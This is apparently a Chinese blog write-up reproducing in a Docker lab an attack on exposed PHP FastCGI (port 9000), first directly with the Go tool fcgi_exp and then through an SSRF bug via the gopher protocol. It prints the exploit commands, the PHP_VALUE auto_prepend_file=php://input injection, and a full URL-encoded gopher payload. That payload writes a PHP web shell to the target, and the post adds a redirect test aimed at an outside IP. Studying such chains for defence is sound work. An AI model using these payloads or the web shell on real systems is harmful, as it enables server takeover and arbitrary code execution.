0x00 环境配置
- 安装
Net_Gopher
在pecl下载Net_Gopher,然后改36行:
1 | function_entry ======> zend_function_entry |
原因: 新版php将类型接口改变了,需要改下源码。 https://bugs.php.net/bug.php?id=61479
- curl版本重新安装
倒腾半天,在SSRF测试时,对curl版本有所限制。所以需要重新编译安装。参考: http://pavelpolyakov.com/2014/11/17/updating-php-curl-on-ubuntu/:
1 | apt-get remove -y curl && apt-get autoremove -y |
- Docker环境
然后有了Dockerfile:
1 | FROM php:5.6.19-fpm |
docker-compose.yml
启动所需环境:
1 | phpfpm_db: |
可以在phpinfo中看到gopher协议enable
。curl版本为7.49.0
。
0x01 fcgi 攻击
- 安装go语言环境,编译exp源码,有空可以看看源码。
go语言官网需要翻墙,国内有个下载:
1 | http://www.golangtc.com/download |
将go的bin
路径加到bash环境中(跟java很像~):
1 | export GOROOT=/home/angelwhu/Documents/thirdparty/go |
编译下:
1 | go build fcgi_exp.go |
- 攻击原理
漏洞细节请看:
1 | http://zone.wooyun /content/1060 |
有个关键有趣的地方,是动态修改php的配置:
1 | env["REQUEST_METHOD"] = "POST" |
auto_prepend_file
这个配置值,代表自动加载在php文件前面的代码。 例如:
1 | auto_prepend_file = header.php |
这里设置的是php://input
,代表用户请求上传的数据作为php代码,加载到文件之前。相当于任意php代码执行了。
- 攻击验证
写个shell
到指定目录下:
1 | ./fcgi_exp system 121.42.175.111 9000 /webcode/index.php "echo \'<?php \$_GET[x](\$_POST[xx]);?>\' > /webcode/test123gopher.php" |
看源码(fcgi_exp.go
)可知,当执行system
命令时,会这样拼凑代码:
1 | reqParams = "'" + os.Args[5] + "');die('" + cutLine + "');" system( |
于是有了上述POC,单引号和$
符号均需要转义一下。 攻击条件:
- fcgi暴露端口9000
- 知道一个php文件的绝对路径
0x02 SSRF配合gopher协议攻击
https://blog.chaitin.com/gopher-attack-surfaces/ 存在SSRF漏洞代码:
1 | <?php |
测试下gopher协议是否可用:
- 在自己服务器上写个302跳转,测试是否可以支持gopher协议。
如下:
1 | header("Location: gopher://121.42.175.111:2333/_test"); |
访问http://angelwhu.com:8083/SSRF.php?url=http://121.42.175.111:8080/1.php
,在2333端口得到test
请求: 获取payload,构造gopher协议:
1 | ./fcgi_exp system 127.0.0.1 2333 /webcode/index.php "echo \'<?php \$_GET[x](\$_POST[xx]);?>\' > /webcode/test123gopher.php" |
接收到发送的payload,进行url编码,如下构造gopher协议: urlencode.py
:
1 | import urllib |
得到gopher协议为:
1 | header("Location:gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH121%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%12SCRIPT_FILENAME/webcode/index.php%0D%01DOCUMENT_ROOT/%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%01%04%00%01%00%00%00%00%01%05%00%01%00y%07%00%3C%3Fphp%20system%28%27echo%20%5C%27%3C%3Fphp%20%24_GET%5Bx%5D%28%24_POST%5Bxx%5D%29%3B%3F%3E%5C%27%20%3E%20/webcode/test123gopher.php%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00"); |
只需在url编码,前面加上下划线_
即可。 访问SSRF漏洞页面,通过302跳转,成功写入shell。
0x03 问题
- 确实发现curl版本问题,会产生截断,重新倒腾编译半天成
7.49.0
- 需要设置下curl可以302跳转。
摘自长亭科技文章,有局限性。 经过测试发现 Gopher 的以下几点局限性:
- 大部分 PHP 并不会开启 fopen 的 gopher wrapper
file_get_contents
的 gopher 协议不能 URLencodefile_get_contents
关于 Gopher 的 302 跳转有 bug,导致利用失败- PHP 的 curl 默认不 follow 302 跳转
curl/libcurl 7.43
上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用
更多有待补充。
另外,并不限于 PHP 的 SSRF。当存在 XXE、ffmepg SSRF 等漏洞的时候,也可以进行利用。
0x04 参考
https://blog.chaitin.com/gopher-attack-surfaces/
http://zone.wooyun.org/content/1060